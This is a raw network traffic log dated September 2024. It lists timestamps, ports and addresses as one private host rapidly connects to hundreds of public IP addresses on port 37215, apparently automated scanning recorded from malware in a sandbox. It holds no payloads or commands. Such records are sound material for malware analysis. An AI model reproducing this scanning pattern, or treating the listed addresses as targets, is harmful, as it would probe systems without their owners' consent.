Sep 25, 2024 14:14:22.427711010 CEST	63353	37215	192.168.2.14	156.52.167.73
Sep 25, 2024 14:14:22.427711010 CEST	63353	37215	192.168.2.14	41.35.213.50
Sep 25, 2024 14:14:22.427726030 CEST	63353	37215	192.168.2.14	41.84.29.50
Sep 25, 2024 14:14:22.427726030 CEST	63353	37215	192.168.2.14	197.246.206.195
Sep 25, 2024 14:14:22.427728891 CEST	63353	37215	192.168.2.14	197.205.142.221
Sep 25, 2024 14:14:22.427730083 CEST	63353	37215	192.168.2.14	41.112.235.17
Sep 25, 2024 14:14:22.427730083 CEST	63353	37215	192.168.2.14	197.19.15.209
Sep 25, 2024 14:14:22.427732944 CEST	63353	37215	192.168.2.14	197.149.75.47
Sep 25, 2024 14:14:22.427732944 CEST	63353	37215	192.168.2.14	197.91.232.127
Sep 25, 2024 14:14:22.427747965 CEST	63353	37215	192.168.2.14	41.133.232.254
Sep 25, 2024 14:14:22.427750111 CEST	63353	37215	192.168.2.14	197.133.231.229
Sep 25, 2024 14:14:22.427750111 CEST	63353	37215	192.168.2.14	156.161.125.149
Sep 25, 2024 14:14:22.427931070 CEST	58762	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:22.427931070 CEST	58762	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:22.428344965 CEST	58854	37215	192.168.2.14	197.42.126.28
Sep 25, 2024 14:14:22.428759098 CEST	49938	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:22.428759098 CEST	49938	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:22.429053068 CEST	50030	37215	192.168.2.14	156.60.202.13
Sep 25, 2024 14:14:22.429480076 CEST	41422	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:22.429488897 CEST	35554	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:22.429488897 CEST	35554	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:22.429864883 CEST	35646	37215	192.168.2.14	41.176.71.4
Sep 25, 2024 14:14:22.430299997 CEST	41644	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:22.430299997 CEST	41644	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:22.430664062 CEST	41736	37215	192.168.2.14	197.176.242.81
Sep 25, 2024 14:14:22.431042910 CEST	60900	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.431042910 CEST	60900	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.431417942 CEST	60992	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.431920052 CEST	37215	63353	41.197.196.94	192.168.2.14
Sep 25, 2024 14:14:22.431931019 CEST	37215	63353	156.187.27.147	192.168.2.14
Sep 25, 2024 14:14:22.431940079 CEST	37215	63353	156.217.168.64	192.168.2.14
Sep 25, 2024 14:14:22.431948900 CEST	37215	63353	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:22.431956053 CEST	63353	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:22.431962013 CEST	63353	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:22.431982040 CEST	63353	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:22.431999922 CEST	63353	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:22.432477951 CEST	37215	63353	197.127.121.218	192.168.2.14
Sep 25, 2024 14:14:22.432487965 CEST	37215	63353	156.133.190.48	192.168.2.14
Sep 25, 2024 14:14:22.432497978 CEST	37215	63353	41.164.93.141	192.168.2.14
Sep 25, 2024 14:14:22.432507038 CEST	37215	63353	41.66.249.255	192.168.2.14
Sep 25, 2024 14:14:22.432516098 CEST	37215	63353	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:22.432524920 CEST	37215	63353	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:22.432524920 CEST	63353	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:22.432526112 CEST	63353	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:22.432533979 CEST	37215	63353	156.10.201.221	192.168.2.14
Sep 25, 2024 14:14:22.432538986 CEST	63353	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:22.432543039 CEST	63353	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:22.432543993 CEST	37215	63353	156.247.181.3	192.168.2.14
Sep 25, 2024 14:14:22.432545900 CEST	63353	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:22.432554007 CEST	37215	63353	41.183.69.4	192.168.2.14
Sep 25, 2024 14:14:22.432563066 CEST	37215	63353	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:22.432564974 CEST	63353	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:22.432573080 CEST	37215	63353	156.184.32.219	192.168.2.14
Sep 25, 2024 14:14:22.432578087 CEST	63353	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:22.432579994 CEST	63353	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:22.432581902 CEST	37215	63353	41.205.222.194	192.168.2.14
Sep 25, 2024 14:14:22.432590008 CEST	63353	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:22.432590008 CEST	63353	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:22.432590961 CEST	37215	63353	156.54.131.208	192.168.2.14
Sep 25, 2024 14:14:22.432590961 CEST	63353	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:22.432599068 CEST	37215	63353	197.146.211.230	192.168.2.14
Sep 25, 2024 14:14:22.432607889 CEST	37215	63353	156.138.102.107	192.168.2.14
Sep 25, 2024 14:14:22.432620049 CEST	37215	63353	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:22.432625055 CEST	52732	37215	192.168.2.14	41.197.196.94
Sep 25, 2024 14:14:22.432626009 CEST	63353	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:22.432631969 CEST	37215	63353	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:22.432635069 CEST	63353	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:22.432638884 CEST	63353	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.432640076 CEST	63353	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:22.432647943 CEST	37215	63353	197.30.224.191	192.168.2.14
Sep 25, 2024 14:14:22.432651043 CEST	63353	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:22.432657957 CEST	63353	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:22.432679892 CEST	63353	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:22.433535099 CEST	37215	63353	197.103.80.54	192.168.2.14
Sep 25, 2024 14:14:22.433545113 CEST	37215	63353	156.160.112.195	192.168.2.14
Sep 25, 2024 14:14:22.433553934 CEST	37215	63353	197.190.69.137	192.168.2.14
Sep 25, 2024 14:14:22.433562994 CEST	37215	63353	156.22.33.252	192.168.2.14
Sep 25, 2024 14:14:22.433569908 CEST	63353	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:22.433578014 CEST	37215	63353	156.152.3.117	192.168.2.14
Sep 25, 2024 14:14:22.433587074 CEST	37215	63353	41.117.24.187	192.168.2.14
Sep 25, 2024 14:14:22.433593988 CEST	37215	63353	156.63.107.70	192.168.2.14
Sep 25, 2024 14:14:22.433602095 CEST	63353	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:22.433602095 CEST	63353	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:22.433603048 CEST	37215	63353	41.180.105.40	192.168.2.14
Sep 25, 2024 14:14:22.433609009 CEST	63353	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:22.433612108 CEST	37215	63353	197.198.163.194	192.168.2.14
Sep 25, 2024 14:14:22.433614969 CEST	63353	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:22.433619976 CEST	37215	63353	197.140.49.117	192.168.2.14
Sep 25, 2024 14:14:22.433620930 CEST	63353	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:22.433629990 CEST	37215	63353	156.249.79.25	192.168.2.14
Sep 25, 2024 14:14:22.433634043 CEST	63353	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:22.433634043 CEST	63353	37215	192.168.2.14	41.180.105.40
Sep 25, 2024 14:14:22.433635950 CEST	63353	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.433640003 CEST	37215	63353	41.136.130.41	192.168.2.14
Sep 25, 2024 14:14:22.433649063 CEST	37215	63353	41.196.128.130	192.168.2.14
Sep 25, 2024 14:14:22.433656931 CEST	37215	63353	197.153.0.185	192.168.2.14
Sep 25, 2024 14:14:22.433657885 CEST	63353	37215	192.168.2.14	197.140.49.117
Sep 25, 2024 14:14:22.433665991 CEST	37215	63353	197.55.52.140	192.168.2.14
Sep 25, 2024 14:14:22.433674097 CEST	37215	63353	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.433676004 CEST	63353	37215	192.168.2.14	156.249.79.25
Sep 25, 2024 14:14:22.433676004 CEST	63353	37215	192.168.2.14	41.196.128.130
Sep 25, 2024 14:14:22.433682919 CEST	37215	63353	197.171.27.234	192.168.2.14
Sep 25, 2024 14:14:22.433691025 CEST	37215	63353	197.28.4.199	192.168.2.14
Sep 25, 2024 14:14:22.433691978 CEST	63353	37215	192.168.2.14	41.136.130.41
Sep 25, 2024 14:14:22.433691978 CEST	63353	37215	192.168.2.14	197.153.0.185
Sep 25, 2024 14:14:22.433700085 CEST	63353	37215	192.168.2.14	197.55.52.140
Sep 25, 2024 14:14:22.433700085 CEST	37215	63353	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.433706045 CEST	63353	37215	192.168.2.14	197.171.27.234
Sep 25, 2024 14:14:22.433706999 CEST	63353	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.433710098 CEST	37215	63353	197.40.167.234	192.168.2.14
Sep 25, 2024 14:14:22.433718920 CEST	37215	63353	156.120.42.3	192.168.2.14
Sep 25, 2024 14:14:22.433720112 CEST	63353	37215	192.168.2.14	197.28.4.199
Sep 25, 2024 14:14:22.433728933 CEST	37215	63353	197.157.76.96	192.168.2.14
Sep 25, 2024 14:14:22.433738947 CEST	37215	63353	197.122.192.144	192.168.2.14
Sep 25, 2024 14:14:22.433738947 CEST	63353	37215	192.168.2.14	197.40.167.234
Sep 25, 2024 14:14:22.433748007 CEST	37215	58762	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:22.433756113 CEST	63353	37215	192.168.2.14	197.157.76.96
Sep 25, 2024 14:14:22.433757067 CEST	37215	40382	41.106.32.54	192.168.2.14
Sep 25, 2024 14:14:22.433757067 CEST	63353	37215	192.168.2.14	156.120.42.3
Sep 25, 2024 14:14:22.433767080 CEST	37215	49938	156.60.202.13	192.168.2.14
Sep 25, 2024 14:14:22.433773041 CEST	63353	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.433779955 CEST	63353	37215	192.168.2.14	197.122.192.144
Sep 25, 2024 14:14:22.433795929 CEST	40382	37215	192.168.2.14	41.106.32.54
Sep 25, 2024 14:14:22.434309006 CEST	37215	35554	41.176.71.4	192.168.2.14
Sep 25, 2024 14:14:22.434567928 CEST	51130	37215	192.168.2.14	156.187.27.147
Sep 25, 2024 14:14:22.434607029 CEST	37215	41422	197.106.92.244	192.168.2.14
Sep 25, 2024 14:14:22.434648037 CEST	41422	37215	192.168.2.14	197.106.92.244
Sep 25, 2024 14:14:22.435209990 CEST	37215	41644	197.176.242.81	192.168.2.14
Sep 25, 2024 14:14:22.435329914 CEST	34922	37215	192.168.2.14	156.217.168.64
Sep 25, 2024 14:14:22.436026096 CEST	37215	60900	41.253.179.82	192.168.2.14
Sep 25, 2024 14:14:22.436156034 CEST	49574	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:22.436717033 CEST	45144	37215	192.168.2.14	197.127.121.218
Sep 25, 2024 14:14:22.436770916 CEST	37215	60992	41.253.179.82	192.168.2.14
Sep 25, 2024 14:14:22.436808109 CEST	60992	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.437216997 CEST	50626	37215	192.168.2.14	156.133.190.48
Sep 25, 2024 14:14:22.437675953 CEST	58326	37215	192.168.2.14	41.164.93.141
Sep 25, 2024 14:14:22.438210011 CEST	34458	37215	192.168.2.14	41.66.249.255
Sep 25, 2024 14:14:22.438709021 CEST	56692	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:22.439213991 CEST	41032	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:22.439717054 CEST	39380	37215	192.168.2.14	156.10.201.221
Sep 25, 2024 14:14:22.440223932 CEST	35666	37215	192.168.2.14	156.247.181.3
Sep 25, 2024 14:14:22.440723896 CEST	43676	37215	192.168.2.14	41.183.69.4
Sep 25, 2024 14:14:22.441210985 CEST	51684	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:22.441713095 CEST	58800	37215	192.168.2.14	156.184.32.219
Sep 25, 2024 14:14:22.442228079 CEST	34160	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:22.442722082 CEST	33842	37215	192.168.2.14	41.205.222.194
Sep 25, 2024 14:14:22.443222046 CEST	60604	37215	192.168.2.14	197.146.211.230
Sep 25, 2024 14:14:22.443723917 CEST	52326	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.444381952 CEST	54234	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:22.445146084 CEST	52264	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:22.445947886 CEST	44766	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:22.446691036 CEST	56090	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:22.447494030 CEST	45678	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:22.448246956 CEST	34316	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:22.448501110 CEST	37215	52326	156.138.102.107	192.168.2.14
Sep 25, 2024 14:14:22.448542118 CEST	52326	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.449007988 CEST	45922	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:22.449700117 CEST	55028	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:22.450453043 CEST	43854	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:22.451137066 CEST	55088	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:22.451601982 CEST	60992	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.451951027 CEST	58598	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.452383995 CEST	52326	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.452383995 CEST	52326	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.453795910 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:22.453798056 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:22.453795910 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:22.453798056 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:22.453807116 CEST	52350	37215	192.168.2.14	156.138.102.107
Sep 25, 2024 14:14:22.453807116 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:22.453818083 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:22.453819036 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:22.453823090 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:22.453828096 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:22.453828096 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:22.453828096 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:22.453830957 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:22.453830957 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:22.453851938 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:22.453852892 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:22.456522942 CEST	37215	60992	41.253.179.82	192.168.2.14
Sep 25, 2024 14:14:22.456568956 CEST	60992	37215	192.168.2.14	41.253.179.82
Sep 25, 2024 14:14:22.456708908 CEST	37215	58598	197.198.163.194	192.168.2.14
Sep 25, 2024 14:14:22.456795931 CEST	58598	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.456795931 CEST	58598	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.456795931 CEST	58598	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.457030058 CEST	58602	37215	192.168.2.14	197.198.163.194
Sep 25, 2024 14:14:22.457267046 CEST	37215	52326	156.138.102.107	192.168.2.14
Sep 25, 2024 14:14:22.461766958 CEST	37215	58598	197.198.163.194	192.168.2.14
Sep 25, 2024 14:14:22.473817110 CEST	37215	58762	197.42.126.28	192.168.2.14
Sep 25, 2024 14:14:22.477847099 CEST	37215	60900	41.253.179.82	192.168.2.14
Sep 25, 2024 14:14:22.477857113 CEST	37215	41644	197.176.242.81	192.168.2.14
Sep 25, 2024 14:14:22.477866888 CEST	37215	35554	41.176.71.4	192.168.2.14
Sep 25, 2024 14:14:22.477878094 CEST	37215	49938	156.60.202.13	192.168.2.14
Sep 25, 2024 14:14:22.485791922 CEST	48238	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.491287947 CEST	37215	48238	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:22.491339922 CEST	48238	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.491408110 CEST	48238	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.491408110 CEST	48238	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.491677046 CEST	48356	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.496682882 CEST	37215	48238	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:22.496964931 CEST	37215	48356	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:22.497016907 CEST	48356	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.497016907 CEST	48356	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.497317076 CEST	35666	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.497751951 CEST	37215	52326	156.138.102.107	192.168.2.14
Sep 25, 2024 14:14:22.502161980 CEST	37215	35666	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.502175093 CEST	37215	48356	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:22.502209902 CEST	35666	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.502244949 CEST	35666	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.502244949 CEST	35666	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.502289057 CEST	48356	37215	192.168.2.14	156.92.22.129
Sep 25, 2024 14:14:22.502490044 CEST	35668	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.505810022 CEST	37215	58598	197.198.163.194	192.168.2.14
Sep 25, 2024 14:14:22.507025957 CEST	37215	35666	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.507194996 CEST	37215	35668	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.507230997 CEST	35668	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.507252932 CEST	35668	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.507563114 CEST	54014	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.512342930 CEST	37215	54014	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.512438059 CEST	54014	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.512438059 CEST	54014	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.512438059 CEST	54014	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.512573957 CEST	37215	35668	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.512608051 CEST	35668	37215	192.168.2.14	156.221.3.47
Sep 25, 2024 14:14:22.512659073 CEST	54016	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.517324924 CEST	37215	54014	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.517407894 CEST	37215	54016	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.517448902 CEST	54016	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.517466068 CEST	54016	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.522679090 CEST	37215	54016	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.522716999 CEST	54016	37215	192.168.2.14	41.133.211.22
Sep 25, 2024 14:14:22.537801981 CEST	37215	48238	156.92.22.129	192.168.2.14
Sep 25, 2024 14:14:22.550121069 CEST	37215	35666	156.221.3.47	192.168.2.14
Sep 25, 2024 14:14:22.557813883 CEST	37215	54014	41.133.211.22	192.168.2.14
Sep 25, 2024 14:14:22.709800005 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:22.709801912 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.709801912 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:22.709806919 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:22.709808111 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:22.709808111 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:22.709810019 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:22.709810019 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:22.709827900 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:22.709836006 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:22.709844112 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:22.709845066 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:22.709845066 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:22.709867001 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:22.709867001 CEST	41460	37215	192.168.2.14	156.111.235.109
Sep 25, 2024 14:14:22.709867001 CEST	50010	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:22.709867001 CEST	58750	37215	192.168.2.14	41.77.182.33
Sep 25, 2024 14:14:22.709872007 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.709872961 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:22.709872007 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:22.709867001 CEST	49700	37215	192.168.2.14	41.161.63.211
Sep 25, 2024 14:14:22.709872961 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:22.709873915 CEST	52556	37215	192.168.2.14	197.178.176.208
Sep 25, 2024 14:14:22.709867001 CEST	58822	37215	192.168.2.14	41.143.106.216
Sep 25, 2024 14:14:22.709873915 CEST	40530	37215	192.168.2.14	197.170.229.98
Sep 25, 2024 14:14:22.709878922 CEST	39966	37215	192.168.2.14	41.182.180.190
Sep 25, 2024 14:14:22.709867001 CEST	34270	37215	192.168.2.14	41.158.116.136
Sep 25, 2024 14:14:22.709873915 CEST	48304	37215	192.168.2.14	41.172.112.204
Sep 25, 2024 14:14:22.709873915 CEST	44556	37215	192.168.2.14	41.228.200.255
Sep 25, 2024 14:14:22.709873915 CEST	52680	37215	192.168.2.14	197.244.126.104
Sep 25, 2024 14:14:22.709891081 CEST	51806	37215	192.168.2.14	156.183.212.73
Sep 25, 2024 14:14:22.709891081 CEST	36630	37215	192.168.2.14	41.35.65.127
Sep 25, 2024 14:14:22.709897995 CEST	43338	37215	192.168.2.14	41.230.230.18
Sep 25, 2024 14:14:22.709898949 CEST	52962	37215	192.168.2.14	197.200.152.166
Sep 25, 2024 14:14:22.709898949 CEST	58766	37215	192.168.2.14	156.220.215.4
Sep 25, 2024 14:14:22.709899902 CEST	52260	37215	192.168.2.14	41.89.218.249
Sep 25, 2024 14:14:22.709898949 CEST	45988	37215	192.168.2.14	41.237.72.126
Sep 25, 2024 14:14:22.709898949 CEST	56944	37215	192.168.2.14	197.202.161.248
Sep 25, 2024 14:14:22.709903002 CEST	57824	37215	192.168.2.14	156.214.201.70
Sep 25, 2024 14:14:22.709903955 CEST	34212	37215	192.168.2.14	41.52.96.33
Sep 25, 2024 14:14:22.709903002 CEST	36274	37215	192.168.2.14	197.124.16.109
Sep 25, 2024 14:14:22.715228081 CEST	37215	48752	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:22.715240002 CEST	37215	36810	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:22.715250015 CEST	37215	53012	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:22.715260029 CEST	37215	53592	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:22.715276957 CEST	37215	45362	156.16.30.136	192.168.2.14
Sep 25, 2024 14:14:22.715277910 CEST	53012	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:22.715277910 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:22.715286970 CEST	37215	50414	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:22.715297937 CEST	37215	38214	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:22.715301037 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:22.715302944 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.715307951 CEST	37215	49154	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:22.715315104 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:22.715315104 CEST	50414	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:22.715317965 CEST	37215	33568	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:22.715327978 CEST	37215	55680	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:22.715334892 CEST	38214	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:22.715336084 CEST	37215	42280	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:22.715346098 CEST	33568	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:22.715347052 CEST	37215	48180	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:22.715348005 CEST	49154	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:22.715361118 CEST	37215	51890	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:22.715362072 CEST	55680	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:22.715367079 CEST	42280	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:22.715377092 CEST	37215	36276	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:22.715403080 CEST	48180	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:22.715403080 CEST	51890	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:22.715428114 CEST	37215	47136	197.200.44.43	192.168.2.14
Sep 25, 2024 14:14:22.715439081 CEST	37215	42234	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:22.715451002 CEST	36276	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:22.715464115 CEST	47136	37215	192.168.2.14	197.200.44.43
Sep 25, 2024 14:14:22.715464115 CEST	42234	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:22.715465069 CEST	37215	56570	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:22.715475082 CEST	37215	53272	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:22.715485096 CEST	37215	50010	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:22.715502024 CEST	56570	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:22.715512037 CEST	53272	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:22.715512037 CEST	50010	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:22.715595007 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.715595007 CEST	45362	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.715884924 CEST	45864	37215	192.168.2.14	156.16.30.136
Sep 25, 2024 14:14:22.716089964 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:22.716089964 CEST	53592	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:22.716295958 CEST	54092	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:22.716542006 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:22.716542006 CEST	48752	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:22.716742992 CEST	49252	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:22.717005014 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:22.717005014 CEST	36810	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:22.717204094 CEST	37310	37215	192.168.2.14	197.11.43.164
